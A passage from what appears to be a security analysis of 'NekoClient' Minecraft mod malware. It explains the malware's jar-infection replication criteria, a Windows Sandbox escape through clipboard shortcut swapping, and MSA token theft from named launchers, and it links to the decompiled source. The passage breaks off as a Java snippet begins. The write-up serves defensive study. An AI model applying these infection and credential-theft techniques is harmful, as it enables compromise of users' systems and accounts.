here: https://github.com/clrxbl/NekoClient + +This validates the suspected behavior/evidence from the analysis done on the prior obfuscated `client.jar` sample. + +### Replicación + +Replication is handled through automatic processing of classes in jar files across the entire filesystem on the local machine. Any jar file that contains classes meeting certain critera is subject for infection. The process of scanning the local file system and injecting malicious code can be found here: [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L273) + +The critera that the process looks for can be found here: [`dev/neko/nekoinjector/template/impl`](https://github.com/clrxbl/NekoClient/tree/main/dev/neko/nekoinjector/template/impl) + +* `BungeecordPluginTemplate` looks for the interface `net/md_5/bungee/api/plugin/Plugin` in classes +* `FabricModTemplate` looks for the interface `net/fabricmc/api/ModInitializer` in classes +* `ForgeModTemplate` looks for the annotation `net/minecraftforge/fml/common/Mod` in classes +* `MinecraftClientTemplate` looks for the existence of `net/minecraft/client/main/Main.class` and `net/minecraft/client/gui/GuiMultiplayer.class` in the jar +* `SpigotPluginTemplate` looks for the super-type `org/bukkit/plugin/java/JavaPlugin` in classes +* If none of the above match the class, [it will attempt to infect the main class of the jar file](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) - if one exists. + +The malicious code injected is the backdoor logic seen in Stage0. The way that injection works is that the malicious code is declared in the `Loader` class in a static method. The `Injector` class that is adjacent to it is responsible for extracting the code from `Loader` and inserting it into new classes targeted for infection. The return value of `Injector.loadInstallerNode(...)` is a `MethodNode` outlining the infection process itself. Now they just need to add that method to the targeted class. Back in the [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L272) they call `Entry.inject(MethodNode)` to achive this. To ensure the malicious method is invoked this `inject` method adds logic to the targeted class's static initializer that invokes the added method. Since the static initializer is run when the class first loads, and the target class is a plugin/mod the assumption is this code will always be triggered by users who run infected modpacks or servers. After this, they repackage the jar with the newly infected target class. + +### Anti-sandbox tricks + +Something not commonly seen in JVM malware that is present here is a class titled `VMEscape`. It checks if its in [Windows Sandbox](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview) by checking if the current user is `WDAGUtilityAccount`. If this condition is met, an attempt to escape Windows Sandbox is made. + +The process is roughly as follows: + +- Start a repeating thread to run the following actions: + - Create a temporary directory using `Files.createTempDirectory(...)` + - Iterate over `FileDescriptor` entries in the system clipboard which mirrors the hosts clipboard + - Create a shortcut that looks like the original file _(using icons from SHELL32)_ but instead invokes the malware + - Assings this shortcut to the clipboard, overwriting the original file reference + +Thus, if a user copies a file and goes to paste it elsewhere they will instead paste a shortcut that looks like their intended file, but actually runs the malware. + +### Data theft + +**MSA Tokens**: Since this mod is targeting Minecraft mods, it's only natural to attempt to steal the MSA token used to login to Minecraft with. Some launchers keep this data in a local file, which this malware will attempt to read from. This affects a variety of launchers such as: + +* The vanilla/mojang launcher +* The legacy vanilla/mojang launcher +* PolyMC / Prism +* Technic +* Feather +* LabyMod (< v3.9.59) +* And any MSA token found in the [Windows Credential Manager](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) + +The retrival logic (Seen in [`dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java)) looks similar across a number of items since they store this data in a similr way. For example here is the laby-mod code: +```java +private static void retrieveRefreshTokensFromLabyMod(List